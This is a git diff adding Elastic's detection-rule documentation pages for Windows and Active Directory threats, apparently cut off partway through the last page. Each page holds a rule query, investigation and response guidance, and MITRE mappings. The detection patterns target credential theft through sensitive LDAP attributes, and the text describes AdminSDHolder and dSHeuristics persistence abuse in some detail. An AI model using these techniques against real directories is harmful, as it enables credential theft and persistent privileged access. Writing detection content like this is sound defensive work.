+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-a-scheduled-task-was-created.asciidoc
@@ -0,0 +1,130 @@
+[[prebuilt-rule-8-19-11-a-scheduled-task-was-created]]
+=== A scheduled task was created
+
+Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 114
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating A scheduled task was created*
+
+
+Scheduled tasks in Windows automate routine tasks, enhancing efficiency. However, adversaries exploit this feature to maintain persistence, move laterally, or escalate privileges by creating malicious tasks. The detection rule identifies suspicious task creation by filtering out benign tasks and those initiated by system accounts, focusing on potential threats. This approach helps security analysts pinpoint unauthorized task creation indicative of malicious activity.
+
+
+*Possible investigation steps*
+
+
+- Review the user account associated with the task creation to determine if it is a known and authorized user, ensuring it is not a system account by checking that the username does not end with a dollar sign.
+- Examine the task name and path in the event data to identify if it matches any known benign tasks or if it appears suspicious or unfamiliar.
+- Investigate the origin of the task creation by checking the source IP address or hostname, if available, to determine if it aligns with expected network activity.
+- Check the task's scheduled actions and triggers to understand what the task is designed to execute and when, looking for any potentially harmful or unexpected actions.
+- Correlate the task creation event with other security events or logs around the same time to identify any related suspicious activities or anomalies.
+
+
+*False positive analysis*
+
+
+- Scheduled tasks created by system accounts or computer accounts are often benign. These can be excluded by filtering out user names ending with a dollar sign, which typically represent system accounts.
+- Tasks associated with common software updates or maintenance, such as those from Hewlett-Packard or Microsoft Visual Studio, are generally non-threatening. These can be excluded by specifying their full task names in the exclusion list.
+- OneDrive update tasks are frequently triggered and are usually safe. Exclude these by using patterns that match their task names, such as those starting with "OneDrive Standalone Update Task".
+- Regularly review and update the exclusion list to include any new benign tasks that are identified over time, ensuring that the rule remains effective without generating unnecessary alerts.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary.
+- Terminate any suspicious scheduled tasks identified by the alert to halt any ongoing malicious activity.
+- Conduct a thorough review of the system's scheduled tasks to identify and remove any other unauthorized or suspicious tasks.
+- Restore the system from a known good backup if any malicious activity has been confirmed and has potentially compromised system integrity.
+- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited.
+- Monitor the system and network for any signs of re-infection or further unauthorized scheduled task creation.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where host.os.type == "windows" and event.action == "scheduled-task-created" and
+
+ /* excluding tasks created by the computer account */
+ not user.name : "*$" and
+
+ /* TaskContent is not parsed, exclude by full taskname noisy ones */
+ not winlog.event_data.TaskName : (
+              "\\CreateExplorerShellUnelevatedTask",
+              "\\Hewlett-Packard\\HPDeviceCheck",
+              "\\Hewlett-Packard\\HP Support Assistant\\WarrantyChecker",
+              "\\Hewlett-Packard\\HP Support Assistant\\WarrantyChecker_backup",
+              "\\Hewlett-Packard\\HP Web Products Detection",
+              "\\Microsoft\\VisualStudio\\Updates\\BackgroundDownload",
+              "\\OneDrive Standalone Update Task-S-1-5-21*",
+              "\\OneDrive Standalone Update Task-S-1-12-1-*"
+ )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute.asciidoc
new file mode 100644
index 0000000000..3016146fb9
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute.asciidoc
@@ -0,0 +1,183 @@
+[[prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute]]
+=== Access to a Sensitive LDAP Attribute
+
+Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming
+* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx
+* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 117
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Access to a Sensitive LDAP Attribute*
+
+
+LDAP (Lightweight Directory Access Protocol) is crucial for accessing and managing directory information in Active Directory environments. Adversaries may exploit LDAP to access sensitive attributes like passwords and decryption keys, facilitating credential theft or privilege escalation. The detection rule identifies unauthorized access attempts by monitoring specific event codes and attribute identifiers, excluding benign activities to reduce noise, thus highlighting potential security threats.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for event code 4662 to identify the specific user or process attempting to access the sensitive LDAP attributes.
+- Check the winlog.event_data.SubjectUserSid to determine the identity of the user or service account involved in the access attempt, excluding the well-known SID S-1-5-18 (Local System).
+- Analyze the winlog.event_data.Properties field to confirm which sensitive attribute was accessed, such as unixUserPassword, ms-PKI-AccountCredentials, or msPKI-CredentialRoamingTokens.
+- Investigate the context of the access attempt by correlating the event with other logs or alerts around the same timestamp to identify any suspicious patterns or activities.
+- Verify the legitimacy of the access by checking if the user or process has a valid reason or permission to access the sensitive attributes, considering the organization's access control policies.
+- Assess the potential impact of the access attempt on the organization's security posture, focusing on credential theft or privilege escalation risks.
+- Document findings and, if necessary, escalate the incident to the appropriate security team for further action or remediation.
+
+
+*False positive analysis*
+
+
+- Access by legitimate administrative accounts: Regular access by system administrators to sensitive LDAP attributes can trigger alerts. To manage this, create exceptions for known administrative accounts by excluding their SIDs from the detection rule.
+- Scheduled system processes: Automated tasks or system processes that require access to certain LDAP attributes may cause false positives. Identify these processes and exclude their specific event codes or AccessMasks if they are consistently benign.
+- Service accounts: Service accounts that perform routine directory operations might access sensitive attributes as part of their normal function. Exclude these accounts by adding their SIDs to the exception list to prevent unnecessary alerts.
+- Monitoring tools: Security or monitoring tools that scan directory attributes for compliance or auditing purposes can generate false positives. Whitelist these tools by excluding their event sources or specific actions from the detection criteria.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Conduct a thorough review of the access logs to identify any unauthorized users or systems that accessed the sensitive LDAP attributes.
+- Reset passwords and revoke any potentially compromised credentials associated with the affected accounts, focusing on those with access to sensitive attributes.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.
+- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to access sensitive LDAP attributes.
+- Review and update access controls and permissions for sensitive LDAP attributes to ensure they are restricted to only necessary personnel.
+- Conduct a post-incident analysis to identify any gaps in security controls and update policies or procedures to prevent similar incidents in the future.
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Access' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Access (Success,Failure)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+any where host.os.type == "windows" and event.code == "4662" and
+
+  not winlog.event_data.SubjectUserSid : "S-1-5-18" and
+
+  winlog.event_data.Properties : (
+   /* unixUserPassword */
+  "*612cb747-c0e8-4f92-9221-fdd5f15b550d*",
+
+  /* ms-PKI-AccountCredentials */
+  "*b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7*",
+
+  /*  ms-PKI-DPAPIMasterKeys */
+  "*b3f93023-9239-4f7c-b99c-6745d87adbc2*",
+
+  /* msPKI-CredentialRoamingTokens */
+  "*b7ff5a38-0818-42b0-8110-d3d154c97f24*"
+  ) and
+
+  /*
+   Excluding noisy AccessMasks
+   0x0 undefined and 0x100 Control Access
+   https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
+   */
+  not winlog.event_data.AccessMask in ("0x0", "0x100")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: OS Credential Dumping
+** ID: T1003
+** Reference URL: https://attack.mitre.org/techniques/T1003/
+* Technique:
+** Name: Unsecured Credentials
+** ID: T1552
+** Reference URL: https://attack.mitre.org/techniques/T1552/
+* Sub-technique:
+** Name: Private Keys
+** ID: T1552.004
+** Reference URL: https://attack.mitre.org/techniques/T1552/004/
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-account-password-reset-remotely.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-account-password-reset-remotely.asciidoc
new file mode 100644
index 0000000000..153c17f26d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-account-password-reset-remotely.asciidoc
@@ -0,0 +1,146 @@
+[[prebuilt-rule-8-19-11-account-password-reset-remotely]]
+=== Account Password Reset Remotely
+
+Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724
+* https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/
+* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Credential%20Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx
+* https://www.elastic.co/security-labs/detect-credential-access
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Tactic: Impact
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 221
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Account Password Reset Remotely*
+
+
+Remote password resets are crucial for managing user accounts, especially for privileged users. However, adversaries exploit this by resetting passwords to maintain unauthorized access or bypass security policies. The detection rule identifies suspicious remote password resets by monitoring successful network logins and subsequent password reset actions, focusing on privileged accounts to minimize noise and highlight potential threats.
+
+
+*Possible investigation steps*
+
+
+- Review the source IP address from the authentication event to determine if it is from a known or trusted network. Investigate any unfamiliar or suspicious IP addresses.
+- Check the winlog.event_data.TargetUserName from the password reset event to confirm if it belongs to a privileged account and verify if the reset was authorized.
+- Correlate the winlog.event_data.SubjectLogonId from both the authentication and password reset events to ensure they are linked and identify the user or process responsible for the actions.
+- Investigate the timing and frequency of similar events to identify patterns or anomalies that may indicate malicious activity.
+- Examine any recent changes or activities associated with the account in question to assess if there are other signs of compromise or unauthorized access.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks can trigger false positives when legitimate IT staff reset passwords for maintenance or support. To manage this, create exceptions for known IT personnel or service accounts that frequently perform these actions.
+- Automated scripts or tools used for account management might cause false alerts. Identify and exclude these scripts or tools by their specific account names or IP addresses.
+- Scheduled password resets for compliance or security policies may appear suspicious. Document and exclude these scheduled tasks by their timing and associated accounts.
+- Service accounts with naming conventions similar to privileged accounts might be flagged. Review and adjust the rule to exclude these specific service accounts by refining the naming patterns in the query.
+- Internal network devices or systems that perform regular password resets could be misinterpreted as threats. Whitelist these devices by their IP addresses or hostnames to reduce noise.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.
+- Revoke any active sessions associated with the compromised account to disrupt any ongoing malicious activities.
+- Reset the password of the affected account using a secure method, ensuring it is done from a trusted and secure system.
+- Conduct a thorough review of recent account activities and system logs to identify any additional unauthorized changes or access attempts.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.
+- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities.
+- Review and update access controls and privileged account management policies to prevent similar incidents in the future.
+
+
+*Performance*
+
+This rule may cause medium to high performance impact due to logic scoping all remote Windows logon activity.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name with maxspan=1m
+  [authentication where host.os.type == "windows" and event.action == "logged-in" and
+    /* event 4624 need to be logged */
+    winlog.logon.type : "Network" and event.outcome == "success" and source.ip != null and
+    source.ip != "127.0.0.1" and source.ip != "::1" and
+    not winlog.event_data.TargetUserName : ("svc*", "PIM_*", "_*_", "*-*-*", "*$")] by winlog.event_data.TargetLogonId
+   /* event 4724 need to be logged */
+  [iam where host.os.type == "windows" and event.action == "reset-password" and
+   (
+    /*
+       This rule is very noisy if not scoped to privileged accounts, duplicate the
+       rule and add your own naming convention and accounts of interest here.
+     */
+    winlog.event_data.TargetUserName: ("*Admin*", "*super*", "*SVC*", "*DC0*", "*service*", "*DMZ*", "*ADM*") or
+    winlog.event_data.TargetSid : ("S-1-5-21-*-500", "S-1-12-1-*-500")
+    )
+  ] by winlog.event_data.SubjectLogonId
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Account Access Removal
+** ID: T1531
+** Reference URL: https://attack.mitre.org/techniques/T1531/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-backdoor.asciidoc
new file mode 100644
index 0000000000..bed4e16001
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-backdoor.asciidoc
@@ -0,0 +1,124 @@
+[[prebuilt-rule-8-19-11-adminsdholder-backdoor]]
+=== AdminSDHolder Backdoor
+
+Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://adsecurity.org/?p=1906
+* https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory#adminsdholder
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 215
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AdminSDHolder Backdoor*
+
+
+The AdminSDHolder object in Active Directory is crucial for maintaining consistent permissions across privileged accounts. It ensures that any changes to these accounts are reverted to match the AdminSDHolder's settings. Adversaries exploit this by modifying the AdminSDHolder to create persistent backdoors, regaining administrative privileges. The detection rule identifies such abuses by monitoring specific directory service changes, focusing on modifications to the AdminSDHolder object, thus alerting security teams to potential threats.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for entries with event.code:5136 to identify specific changes made to the AdminSDHolder object.
+- Examine the winlog.event_data.ObjectDN field to confirm the object path is CN=AdminSDHolder,CN=System* and verify the nature of the modifications.
+- Identify the user account responsible for the changes by checking the event logs for the associated user information.
+- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.
+- Assess the current permissions on the AdminSDHolder object and compare them with the expected baseline to identify unauthorized changes.
+- Check for any recent changes in group memberships or permissions of privileged accounts that could indicate exploitation of the AdminSDHolder backdoor.
+- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.
+
+
+*False positive analysis*
+
+
+- Routine administrative changes to the AdminSDHolder object can trigger alerts. To manage this, establish a baseline of expected changes and create exceptions for these known activities.
+- Scheduled maintenance or updates to Active Directory may result in temporary modifications to the AdminSDHolder object. Document these events and exclude them from triggering alerts during the maintenance window.
+- Automated scripts or tools used for Active Directory management might modify the AdminSDHolder object as part of their normal operation. Identify these tools and whitelist their activities to prevent false positives.
+- Changes made by trusted security personnel or systems should be logged and reviewed. Implement a process to verify and exclude these changes from alerting if they are part of approved security operations.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation.
+- Revert any unauthorized changes to the AdminSDHolder object by restoring it from a known good backup or manually resetting its permissions to the default secure state.
+- Conduct a thorough review of all privileged accounts and groups to ensure their permissions align with organizational security policies and have not been altered to match the compromised AdminSDHolder settings.
+- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.
+- Implement additional monitoring on the AdminSDHolder object and other critical Active Directory objects to detect any future unauthorized modifications promptly.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.
+- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:5136 and host.os.type:"windows" and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System*
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added.asciidoc
new file mode 100644
index 0000000000..d7986ac166
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added.asciidoc
@@ -0,0 +1,151 @@
+[[prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added]]
+=== AdminSDHolder SDProp Exclusion Added
+
+Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dsheuristics_bad
+* https://petri.com/active-directory-security-understanding-adminsdholder-object
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Data Source: Active Directory
+* Resources: Investigation Guide
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+
+*Version*: 217
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating AdminSDHolder SDProp Exclusion Added*
+
+
+The SDProp process compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, it resets the permissions on the protected accounts and groups to match those defined in the domain AdminSDHolder object.
+
+The dSHeuristics is a Unicode string attribute, in which each character in the string represents a heuristic that is used to determine the behavior of Active Directory.
+
+Administrators can use the dSHeuristics attribute to exclude privilege groups from the SDProp process by setting the 16th bit (dwAdminSDExMask) of the string to a certain value, which represents the group(s):
+
+- For example, to exclude the Account Operators group, an administrator would modify the string, so the 16th character is set to 1 (i.e., 0000000001000001).
+
+The usage of this exclusion can leave the accounts unprotected and facilitate the misconfiguration of privileges for the excluded groups, enabling attackers to add accounts to these groups to maintain long-term persistence with high privileges.
+
+This rule matches changes of the dsHeuristics object where the 16th bit is set to a value other than zero.
+
+
+*Possible investigation steps*
+
+
+- Identify the user account that performed the action and whether it should perform this kind of action.
+- Contact the account and system owners and confirm whether they are aware of this activity.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+- Check the value assigned to the 16th bit of the string on the `winlog.event_data.AttributeValue` field:
+    - Account Operators eq 1
+    - Server Operators eq 2
+    - Print Operators eq 4
+    - Backup Operators eq 8
+    The field value can range from 0 to f (15). If more than one group is specified, the values will be summed together; for example, Backup Operators and Print Operators will set the `c` value on the bit.
+
+
+*False positive analysis*
+
+
+- While this modification can be done legitimately, it is not a best practice. Any potential benign true positive (B-TP) should be mapped and reviewed by the security team for alternatives as this weakens the security of the privileged group.
+
+
+*Response and remediation*
+
+
+- The change can be reverted by setting the dwAdminSDExMask (16th bit) to 0 in dSHeuristics.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+any where host.os.type == "windows" and event.code == "5136" and
+  winlog.event_data.AttributeLDAPDisplayName : "dSHeuristics" and
+  length(winlog.event_data.AttributeValue) > 15 and
+  winlog.event_data.AttributeValue regex~ "[0-9]{15}([1-9a-f]).*"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id.asciidoc
new file mode 100644
index 0000000000..8dfe7bed80
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id.asciidoc
@@ -0,0 +1,108 @@
+[[prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id]]
+=== Agent Spoofing - Mismatched Agent ID
+
+Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* logs-*
+* metrics-*
+* traces-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 105
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Agent Spoofing - Mismatched Agent ID*
+
+
+In security environments, agent IDs uniquely identify software agents that report events. Adversaries may spoof these IDs to disguise unauthorized activities, evading detection systems. The detection rule identifies discrepancies between expected and actual agent IDs, flagging potential spoofing attempts. By monitoring for mismatches, it helps uncover efforts to masquerade malicious actions as legitimate.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs to identify the specific events where the agent_id_status is marked as "agent_id_mismatch" or "mismatch" to understand the scope and frequency of the issue.
+- Correlate the mismatched agent IDs with the associated API keys to determine if there are any patterns or commonalities that could indicate a targeted spoofing attempt.
+- Investigate the source IP addresses and user accounts associated with the mismatched events to identify any unauthorized access or suspicious activity.
+- Check for any recent changes or anomalies in the configuration or deployment of agents that could explain the mismatches, such as updates or reassignments.
+- Analyze historical data to determine if similar mismatches have occurred in the past and whether they were resolved or linked to known issues or threats.
+- Consult with the IT or security team to verify if there are any legitimate reasons for the agent ID discrepancies, such as testing or maintenance activities.
+
+
+*False positive analysis*
+
+
+- Legitimate software updates or patches may temporarily cause agent ID mismatches. Users should verify if the mismatches coincide with scheduled updates and consider excluding these events if confirmed.
+- Network configuration changes, such as IP address reassignments, can lead to mismatches. Ensure that network changes are documented and correlate with the mismatched events before excluding them.
